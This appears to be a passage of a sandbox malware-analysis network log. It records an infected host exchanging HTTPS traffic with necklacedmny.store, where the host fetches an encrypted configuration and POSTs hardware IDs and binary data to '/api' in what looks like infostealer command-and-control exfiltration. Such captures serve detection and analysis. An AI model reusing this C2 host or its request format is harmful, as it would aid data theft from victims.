2024-10-30 04:26:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 04:26:12 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tuefejo8sfjjagel6nr9il5a9u; expires=Sat, 22 Feb 2025 22:12:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2lAIk5iBtsPuP%2BVc8T%2BLrdfM8azztlQsEVIaa2v6f4wQSYGvlmhXAw%2Br%2BNSrkqPMS%2BfiC0jNosKvbQO41UT5PxUi0fYN39cz%2FiGvkBUMW9uOXIzKWR83%2FqwMJb%2FKq1vizrgF71Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a5514c5e469c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1010&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2752851&cwnd=241&unsent_bytes=0&cid=88678364fe5c91fc&ts=496&x=0"
2024-10-30 04:26:12 UTC	346	IN	Data Raw: 31 64 38 35 0d 0a 55 5a 77 67 51 75 52 6a 4e 54 6a 4a 55 51 45 48 62 52 68 30 6a 45 52 44 62 6d 68 57 52 6b 48 4f 4f 4c 36 72 2f 51 48 53 44 4b 51 71 76 6c 5a 67 33 6c 63 5a 47 72 6f 30 49 7a 30 5a 61 67 48 70 61 47 45 50 44 48 52 38 4a 36 39 55 7a 63 37 52 49 36 52 68 68 6d 76 36 51 53 36 58 42 68 6b 61 72 43 6b 6a 50 54 5a 6a 56 75 6b 71 59 56 52 4b 4d 79 77 6a 72 31 54 63 79 70 5a 75 6f 6d 44 48 4f 66 42 48 4b 6f 45 41 55 56 6d 6c 50 47 52 69 43 48 6b 65 34 69 30 75 42 67 56 30 61 6d 4f 72 51 70 79 52 33 30 79 33 65 4d 55 63 2f 56 4d 70 78 68 34 5a 51 2b 73 30 62 79 56 58 4f 68 58 70 4a 69 38 49 44 44 30 75 4b 61 5a 63 33 63 2b 58 63 62 74 71 7a 44 6e 2b 52 43 75 4c 43 55 56 55 72 7a 74 76 5a 41 4a 35 56 71 42 6d 4a 68 52 4b 62 47 52 77 6e 6c 6e 4e 32 Data Ascii: 1d85UZwgQuRjNTjJUQEHbRh0jERDbmhWRkHOOL6r/QHSDKQqvlZg3lcZGro0Iz0ZagHpaGEPDHR8J69Uzc7RI6Rhhmv6QS6XBhkarCkjPTZjVukqYVRKMywjr1TcypZuomDHOfBHKoEAUVmlPGRiCHke4i0uBgV0amOrQpyR30y3eMUc/VMpxh4ZQ+s0byVXOhXpJi8IDD0uKaZc3c+XcbtqzDn+RCuLCUVUrztvZAJ5VqBmJhRKbGRwnlnN2
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 68 6d 75 2b 52 43 36 48 44 46 64 49 6f 7a 68 6f 59 42 31 78 48 2b 4d 72 49 51 45 41 4f 79 63 6a 71 31 44 57 78 70 56 6e 76 57 50 41 4d 2f 34 43 62 73 59 47 54 78 72 7a 63 30 42 67 48 33 30 61 2b 47 51 62 54 42 56 36 50 57 4f 72 56 70 79 52 33 32 75 31 62 63 55 34 38 55 45 6f 6a 52 4e 58 53 4b 30 2b 5a 6e 63 4a 66 78 6a 6b 4a 54 4d 47 42 44 49 6e 4b 71 64 54 32 63 36 62 49 2f 34 75 77 53 75 2b 47 6d 43 6e 44 46 78 57 6f 53 52 6a 4a 52 41 30 44 36 34 68 4c 55 78 53 64 43 41 69 71 46 76 59 78 35 46 6e 76 47 6a 49 50 76 46 45 4b 6f 59 47 58 56 4b 6a 4d 6d 35 75 41 48 6f 54 34 79 49 6e 41 41 73 78 5a 47 33 73 58 63 53 4a 78 79 4f 65 61 63 55 68 76 48 63 6a 69 41 39 51 54 4f 73 73 4c 58 78 50 66 52 71 75 66 6d 45 43 44 7a 73 32 49 72 35 66 30 74 75 54 5a 72 5a Data Ascii: hmu+RC6HDFdIozhoYB1xH+MrIQEAOycjq1DWxpVnvWPAM/4CbsYGTxrzc0BgH30a+GQbTBV6PWOrVpyR32u1bcU48UEojRNXSK0+ZncJfxjkJTMGBDInKqdT2c6bI/4uwSu+GmCnDFxWoSRjJRA0D64hLUxSdCAiqFvYx5FnvGjIPvFEKoYGXVKjMm5uAHoT4yInAAsxZG3sXcSJxyOeacUhvHcjiA9QTOssLXxPfRqufmECDzs2Ir5f0tuTZrZ
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 48 63 6a 69 41 39 51 54 4f 73 73 4c 58 78 50 66 52 71 75 66 6d 45 41 41 7a 51 76 4b 61 68 61 32 38 53 61 59 4c 64 74 79 7a 54 30 54 43 65 43 44 56 35 58 72 54 4e 6b 59 51 70 6f 45 2b 63 71 4c 55 78 45 64 43 4d 37 37 41 4b 63 35 70 68 31 73 30 48 46 49 76 63 43 50 38 67 59 46 31 32 6e 63 7a 73 6c 43 48 38 65 35 53 41 70 44 42 67 78 4b 69 69 74 55 4e 72 49 6b 6d 2b 32 62 73 63 7a 2b 45 34 67 67 51 5a 46 53 4b 34 31 63 57 39 50 4e 46 62 70 50 6d 46 55 53 67 49 30 4e 4c 31 4d 6e 76 79 63 62 62 35 70 30 48 50 68 44 44 6e 47 42 6c 73 61 38 33 4e 6f 5a 51 4e 39 48 75 67 69 4b 51 4d 46 50 54 59 69 6f 46 54 4f 7a 70 39 71 76 6d 48 4b 4f 76 4e 46 4c 59 30 4c 57 6c 36 73 4d 69 4d 72 54 33 30 4f 72 6e 35 68 4f 68 6f 35 4b 41 32 6e 56 74 57 4a 67 43 32 70 4c 73 45 2f Data Ascii: HcjiA9QTOssLXxPfRqufmEAAzQvKaha28SaYLdtyzT0TCeCDV5XrTNkYQpoE+cqLUxEdCM77AKc5ph1s0HFIvcCP8gYF12nczslCH8e5SApDBgxKiitUNrIkm+2bscz+E4ggQZFSK41cW9PNFbpPmFUSgI0NL1Mnvycbb5p0HPhDDnGBlsa83NoZQN9HugiKQMFPTYioFTOzp9qvmHKOvNFLY0LWl6sMiMrT30Orn5hOho5KA2nVtWJgC2pLsE/
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 34 41 57 56 57 71 4e 32 5a 67 43 33 30 53 36 43 6c 68 51 6b 6f 7a 50 47 50 30 47 76 50 75 71 69 47 52 56 49 59 73 73 46 74 67 67 51 30 58 41 75 73 2f 59 47 6b 48 64 52 44 6e 4b 69 73 46 41 54 67 76 4a 36 42 54 32 63 2b 65 5a 72 56 76 77 6a 2f 30 52 43 4f 46 44 6c 68 56 6f 33 4d 74 4a 51 68 69 56 72 5a 6d 42 42 73 42 4f 69 4a 6a 73 78 54 46 69 5a 68 76 38 44 61 47 50 2f 64 45 4a 6f 4d 4e 56 6c 79 6a 4e 6d 74 68 44 6e 77 51 37 53 6b 6c 43 51 73 37 49 43 2b 69 55 4e 33 49 6b 32 69 2f 5a 63 4e 7a 73 41 49 6e 6e 6b 45 50 47 70 6f 77 64 58 49 66 64 6c 62 78 61 44 68 4d 44 54 68 6b 65 2b 78 62 7a 73 4f 56 62 62 56 68 77 7a 44 78 52 53 32 41 44 56 31 54 6f 7a 56 73 62 42 31 35 47 75 41 68 4c 77 41 45 4f 53 34 67 6f 52 71 53 69 5a 68 37 38 44 61 47 48 2f 6c 50 44 Data Ascii: 4AWVWqN2ZgC30S6ClhQkozPGP0GvPuqiGRVIYssFtggQ0XAus/YGkHdRDnKisFATgvJ6BT2c+eZrVvwj/0RCOFDlhVo3MtJQhiVrZmBBsBOiJjsxTFiZhv8DaGP/dEJoMNVlyjNmthDnwQ7SklCQs7IC+iUN3Ik2i/ZcNzsAInnkEPGpowdXIfdlbxaDhMDThke+xbzsOVbbVhwzDxRS2ADV1TozVsbB15GuAhLwAEOS4goRqSiZh78DaGH/lPD
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 49 72 69 46 78 4a 55 45 36 45 66 5a 6d 65 55 77 38 4d 7a 51 7a 72 78 6a 74 33 35 78 31 75 32 50 4b 63 2b 45 4d 4f 63 59 47 57 78 72 7a 63 32 56 71 42 6e 6b 5a 37 79 38 74 41 51 38 39 49 53 4b 71 58 74 62 44 6e 32 57 32 62 38 4d 35 2f 55 4d 71 6a 77 5a 66 58 61 67 68 49 79 74 50 66 51 36 75 66 6d 45 6c 44 53 59 71 4d 2b 78 46 6b 74 44 66 5a 4c 77 75 6e 6e 50 36 53 43 2b 43 42 6c 74 63 72 6a 56 75 5a 41 42 37 46 75 45 69 4b 67 55 4d 4e 53 6b 6d 6f 56 37 4f 77 35 52 73 76 47 66 4b 50 72 34 4d 59 49 45 5a 46 77 4c 72 41 6d 35 72 41 58 30 41 72 6a 6c 76 46 55 6f 7a 4b 47 50 30 47 74 33 46 6b 47 43 2f 62 63 55 79 39 46 41 79 69 67 68 66 58 36 63 34 62 57 4d 64 66 42 6e 6e 4a 53 49 46 44 54 77 6f 4b 61 39 64 6e 49 66 66 5a 4b 67 75 6e 6e 50 64 56 54 43 4c 51 55 Data Ascii: IriFxJUE6EfZmeUw8MzQzrxjt35x1u2PKc+EMOcYGWxrzc2VqBnkZ7y8tAQ89ISKqXtbDn2W2b8M5/UMqjwZfXaghIytPfQ6ufmElDSYqM+xFktDfZLwunnP6SC+CBltcrjVuZAB7FuEiKgUMNSkmoV7Ow5RsvGfKPr4MYIEZFwLrAm5rAX0ArjlvFUozKGP0Gt3FkGC/bcUy9FAyighfX6c4bWMdfBnnJSIFDTwoKa9dnIffZKgunnPdVTCLQU
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 5a 57 77 4a 66 52 44 67 4e 43 51 4b 42 54 73 74 4b 71 68 53 33 38 6d 62 5a 37 64 72 78 54 2f 31 52 53 4f 4a 42 56 35 55 6f 6a 77 6a 4b 30 39 39 44 71 35 2b 59 53 30 52 4e 79 67 75 37 45 57 53 30 4e 39 6b 76 43 36 65 63 2f 4a 4d 4a 59 59 4c 55 56 36 75 4e 57 6c 67 44 33 45 56 34 53 49 6e 43 41 55 30 4c 79 71 74 58 4e 6e 44 6c 47 57 39 62 63 41 31 76 67 78 67 67 52 6b 58 41 75 73 54 65 47 67 44 66 56 62 78 61 44 68 4d 44 54 68 6b 65 2b 78 52 30 4d 32 59 59 37 31 74 7a 6a 62 36 53 43 57 47 43 55 56 53 71 7a 52 78 64 77 39 7a 45 2b 49 6c 49 51 67 4d 50 53 49 67 71 42 71 53 69 5a 68 37 38 44 61 47 48 76 4a 46 43 59 45 61 46 30 58 6c 4b 69 4e 69 41 7a 70 4f 72 69 63 71 42 67 55 35 4a 79 57 76 55 64 6e 44 6e 6d 53 34 59 39 51 77 38 55 30 6b 68 67 35 52 58 4b 6f Data Ascii: ZWwJfRDgNCQKBTstKqhS38mbZ7drxT/1RSOJBV5UojwjK099Dq5+YS0RNygu7EWS0N9kvC6ec/JMJYYLUV6uNWlgD3EV4SInCAU0LyqtXNnDlGW9bcA1vgxggRkXAusTeGgDfVbxaDhMDThke+xR0M2YY71tzjb6SCWGCUVSqzRxdw9zE+IlIQgMPSIgqBqSiZh78DaGHvJFCYEaF0XlKiNiAzpOricqBgU5JyWvUdnDnmS4Y9Qw8U0khg5RXKo
2024-10-30 04:26:12 UTC	374	IN	Data Raw: 58 77 56 2b 43 56 6d 4d 6a 51 54 4d 69 6d 72 53 74 76 65 6b 43 50 2b 4c 73 6c 7a 70 6e 74 67 6a 77 5a 4d 53 37 30 2b 63 32 4a 50 52 56 69 75 50 6d 46 55 53 67 45 6e 4c 61 4a 64 79 74 6a 53 52 4b 5a 6b 77 53 50 35 56 53 2f 47 54 78 64 63 36 32 73 77 4b 30 39 2b 42 36 35 2b 63 56 35 52 59 58 64 30 2f 41 6a 44 68 34 59 6a 70 69 36 65 59 62 41 43 4d 73 5a 5a 46 78 32 6f 49 58 46 6a 44 47 77 56 71 52 67 66 4b 78 41 35 49 6a 53 39 5a 4f 4c 4f 68 57 36 32 65 64 64 2f 36 30 45 75 69 41 5a 42 47 75 56 7a 62 43 56 58 51 31 61 6d 5a 68 35 43 53 69 78 6b 65 2b 78 76 33 38 65 52 5a 4b 5a 2f 69 78 54 6b 54 79 61 52 45 42 63 55 36 7a 55 6a 50 56 38 30 56 75 6f 33 59 56 52 61 5a 6e 39 32 2f 77 32 4d 6d 34 41 74 71 53 37 51 63 36 59 51 62 73 59 54 46 77 4c 72 64 47 42 33 Data Ascii: XwV+CVmMjQTMimrStvekCP+LslzpntgjwZMS70+c2JPRViuPmFUSgEnLaJdytjSRKZkwSP5VS/GTxdc62swK09+B65+cV5RYXd0/AjDh4Yjpi6eYbACMsZZFx2oIXFjDGwVqRgfKxA5IjS9ZOLOhW62edd/60EuiAZBGuVzbCVXQ1amZh5CSixke+xv38eRZKZ/ixTkTyaREBcU6zUjPV80Vuo3YVRaZn92/w2Mm4AtqS7Qc6YQbsYTFwLrdGB3
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 32 32 33 30 0d 0a 4e 35 42 45 46 6d 35 49 57 56 6d 47 58 6c 52 30 42 67 69 47 67 63 37 4c 79 4b 53 5a 50 4c 45 6e 6d 43 2b 4c 50 63 6c 38 31 49 6a 67 77 5a 70 5a 4b 55 30 64 32 49 42 66 42 61 75 61 47 45 44 53 6d 77 64 59 2b 51 61 34 34 66 66 65 2f 41 32 68 67 62 39 54 43 36 42 46 30 59 58 69 43 56 75 61 67 52 37 56 71 42 6d 4a 30 78 53 5a 47 70 6a 71 45 75 63 6b 63 38 78 36 7a 75 56 5a 4b 34 51 50 38 67 59 46 30 7a 72 61 7a 45 72 54 32 68 57 74 6d 5a 6d 41 67 63 31 4a 79 32 76 53 4d 37 50 6e 48 57 7a 4b 66 67 4e 33 30 38 72 69 67 78 59 55 5a 55 4e 51 6d 67 45 64 68 76 68 4c 52 38 79 48 7a 63 71 4c 61 74 4d 7a 59 6e 52 49 37 38 75 6e 67 71 2b 43 6d 43 35 54 78 64 43 36 32 73 6a 55 41 78 30 47 4f 6b 77 4d 45 45 72 4f 53 38 76 6f 56 58 58 69 64 45 6a 74 69 Data Ascii: 2230N5BEFm5IWVmGXlR0BgiGgc7LyKSZPLEnmC+LPcl81IjgwZpZKU0d2IBfBauaGEDSmwdY+Qa44ffe/A2hgb9TC6BF0YXiCVuagR7VqBmJ0xSZGpjqEuckc8x6zuVZK4QP8gYF0zrazErT2hWtmZmAgc1Jy2vSM7PnHWzKfgN308rigxYUZUNQmgEdhvhLR8yHzcqLatMzYnRI78ungq+CmC5TxdC62sjUAx0GOkwMEErOS8voVXXidEjti
2024-10-30 04:26:12 UTC	1369	IN	Data Raw: 42 52 36 34 4a 45 42 5a 75 7a 56 67 57 7a 46 52 47 75 67 68 4f 77 73 4d 45 67 52 6a 34 68 72 54 69 63 64 61 38 43 61 47 44 4c 41 43 4f 4d 5a 5a 46 32 2b 6f 50 57 31 69 47 57 74 62 79 7a 45 69 48 41 77 33 5a 47 33 73 58 4a 79 52 7a 79 33 77 61 74 64 7a 70 68 4a 79 33 56 51 45 44 66 74 68 66 43 73 57 4f 67 43 75 66 6e 4e 43 53 69 5a 6b 65 2b 77 64 33 39 75 4e 5a 62 4e 34 78 58 54 41 66 41 61 46 45 46 31 37 70 69 4e 6b 57 7a 46 76 46 65 41 6f 4a 68 6f 62 64 47 70 6a 6f 78 71 45 38 4e 38 72 2f 47 6a 46 4a 62 35 39 62 73 59 5a 46 77 4c 72 42 6d 42 72 41 58 30 41 2f 32 73 48 44 78 73 2b 42 53 36 38 58 5a 79 48 33 32 58 77 4e 70 56 39 76 6b 59 78 78 6c 6b 48 43 50 42 6d 4d 44 4a 66 4b 41 6d 67 50 32 45 61 53 6d 78 32 62 65 78 49 6e 4a 48 66 4a 4c 4e 38 31 44 58 Data Ascii: BR64JEBZuzVgWzFRGughOwsMEgRj4hrTicda8CaGDLACOMZZF2+oPW1iGWtbyzEiHAw3ZG3sXJyRzy3watdzphJy3VQEDfthfCsWOgCufnNCSiZke+wd39uNZbN4xXTAfAaFEF17piNkWzFvFeAoJhobdGpjoxqE8N8r/GjFJb59bsYZFwLrBmBrAX0A/2sHDxs+BS68XZyH32XwNpV9vkYxxlkHCPBmMDJfKAmgP2EaSmx2bexInJHfJLN81DX

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50083	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:13 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-30 04:26:13 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:26:13 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rc2lo4dl7psc9dnlurokk4rbou; expires=Sat, 22 Feb 2025 22:12:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Li8DxtQRidP5oRBT%2FdYmkMQsn0fqmaXPdORLVBI5tDbTYRdAK68C887T646l1ev6%2FDKaNMXI5ucpCuM92It8LGeWH%2FIVxodTvCK7UE2ZkUx2PdWzER6ebhi0MuoUrSHm7h57m3Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a5590c8d3ad2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1228&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13806&delivery_rate=2262500&cwnd=251&unsent_bytes=0&cid=fb041a77119dab38&ts=553&x=0"
2024-10-30 04:26:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:26:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50086	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-30 04:26:14 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:26:14 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8rts08rgsnm7lmdnbs12flkrq9; expires=Sat, 22 Feb 2025 22:12:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cSuqe8ClDuCvjKuWp%2BN9EPG9joZvTQnrOBBEswafqxHjGLqVBuRS5I%2BqIyqxB9Hi4dGpR7qgmLekNoQDAQAC4UXYBOo30vs3FQxhdJbNoNwRt85O1aV33cIULqQc3PJhXRKK%2Fe8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a5604bf6465f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=980&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2833659&cwnd=247&unsent_bytes=0&cid=68b0fc101557375f&ts=411&x=0"
2024-10-30 04:26:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:26:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50087	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-30 04:26:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:26:15 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-30 04:26:16 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1e5tbassbk2pj4jeov5udpnqin; expires=Sat, 22 Feb 2025 22:12:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fvrSccNiHI24OGNSDB7ZKTU%2Bab4LOaaRrubNGA%2BTQXWYS1olt3YxCxF7qaClceRcJ2ARwHBaGjLuggeDe7Js9oE8HP9bX29ipUO4o2xqffTK5wEl3XKreSilu4vDNHycZPwVico%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a567293ba922-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1165&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20932&delivery_rate=2316800&cwnd=177&unsent_bytes=0&cid=93f6246837a203fc&ts=642&x=0"
2024-10-30 04:26:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:26:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50089	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:26:16 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1236 Host: necklacedmny.store
